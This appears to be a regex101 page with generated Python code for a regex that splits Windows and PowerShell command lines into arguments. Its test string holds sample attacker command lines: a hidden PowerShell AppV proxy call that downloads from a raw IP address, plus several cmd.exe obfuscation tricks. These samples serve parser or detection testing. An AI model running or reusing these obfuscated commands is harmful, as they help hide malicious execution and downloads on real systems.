Regular Expressions 101

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  • Unit Tests (2)

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression

/
/
gmJ

Test String

Code Generator

Generated Code

# coding=utf8 # the above tag defines encoding for this document and is for Python 2.x compatibility import re regex = (r"(?#\\n" r"Doc: This regex will split the commandline in arguments\n\n" r"Details:\n" r" The arg variable will contain all the different arguments\n" r" argument delimiters are in two categories :\n" r" whitespaces delimiters : \t \n \r \v ' '\n" r" ',' : is a delimiter in the windows cmd \n" r" but it's not one in the powershell\n" r" quotation delimiters : \' \` \"\n\n" r"Variables:\n" r" arg : will contain each argument\n" r"Next variables can be adjusted by adding or deleting delimiters\n" r" quote_delimiters : quoted argument delimiters\n" r" whitespace_delimiters : whitespace argument delimiters\n\n" r")(?#\\n" r")(?<arg>(?#\\n" r" )(?<arg_quote>(?#\\n" r" )(?<quote_delimiters>\"|'|`)(?#\\n" r" )(?:(?#\\n" r" )(?!\3)(?#\\n" r" )(?<escape>(?(?!\\)[\x00-\xFF]|[\x00-\xFF]{2}))(?#\\n" r" ))*(?#\\n" r" )\3(?#\\n" r" ))|(?<arg_whitespace>(?#\\n" r" )(?:(?#\\n" r" )(?!(?#\\n" r" )(?<whitespace_delimiters>\s|$)|(?#\\n" r" )(?P>quote_delimiters)(?#\\n" r" ))(?#\\n" r" )(?P>escape)(?#\\n" r" ))+(?#\\n" r" ))(?#\\n" r"))(?#\\n" r")(?#\\n" r")(?#\\n" r"Related doc:\n" r" https://docs.microsoft.com/fr-fr/cpp/c-language/parsing-c-command-line-arguments?view=vs-2019\n" r" http://daviddeley.com/autohotkey/parameters/parameters.htm\n" r")") test_str = ("\"C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe\" --type=renderer /prefetch:1 \"R:\\Coficine\\MCI\\01 Activités\\03 PARTICIPATIONS\\2 Sociétés\\1 Particip. actuelles\\Monello Productions\\03. Dossier client\\01. KYC\\Actionnariat\\Actionnariat - 2018-05-03.pdf\"\n\n" "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &amp;{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer \\n;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;Invoke-WebRequest -Uri http://209.97.141.246/ee/index_files/alert.css}\n\n" "\"UNIT TESTS :\"\n\n" "''\n" " arg0\\ \\ \\\\ \"arg1\\\"\\\"\" \"arg2\\\"\\\\\"\"arg3 \\\"\" 'arg4\"arg4\"' arg5 arg6 \n\n" " space_bef_and_aft__arg0 arg1 arg2 arg3 \n" "space_aft___________arg0 arg1 arg2 arg3 \n" " space_bef__________arg0 arg1 arg2 arg3\n" "nospace_____________arg0 arg1 arg2 arg3\n\n" " multispace______________arg0 arg1 arg2 arg3 arg4 \n\n" " C:\\ProgramData\\Anaconda3\\python.exe C:\\ProgramData\\Anaconda3\\cwp.py C:\\ProgramData\\Anaconda3 C:\\ProgramData\\Anaconda3\\python.exe C:\\ProgramData\\Anaconda3\\Scripts\\jupyter-notebook-script.py \"%USERPROFILE%/\" \n\n" ".\n\n" "`echo `ls \"/tmp\"``'``'\n\n" "1\"\"3\"4\"\n\n" "n^e^t u^s^er\n\n" "cmd /c \"set x=calc & echo %x% | cmd\"\n" "cmd /c \"set x=c@alc & echo %x:@=mantvydas% | cmd\"\n\n" "\\c \\\\ \\' \\\" '\\'\\'\\'\\'\\'\\'\\'\\\\' \n\n" "'# this will take the C character from %programdata% and will launch the cmd prompt'\n" "%programdata:~0,1%md \\c \"whatever\"\n\n" "@cmd\n" "set pSM \n" "PSModulePath=C:\\Users\\mantvydas\\Documents\\WindowsPowerShell\\Modules;....\n\n" "FOR /F \"tokens=7 delims=s\\\\\" %g IN ('set^|findstr PSM') do %g\n\n" "cmd,/c;hostname\n\n\n\n\n\n") matches = re.finditer(regex, test_str, re.MULTILINE) for matchNum, match in enumerate(matches, start=1): print ("Match {matchNum} was found at {start}-{end}: {match}".format(matchNum = matchNum, start = match.start(), end = match.end(), match = match.group())) for groupNum in range(0, len(match.groups())): groupNum = groupNum + 1 print ("Group {groupNum} found at {start}-{end}: {group}".format(groupNum = groupNum, start = match.start(groupNum), end = match.end(groupNum), group = match.group(groupNum))) # Note: for Python 2.7 compatibility, use ur"" to prefix the regex and u"" to prefix the test string and substitution.

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Python, please visit: https://docs.python.org/3/library/re.html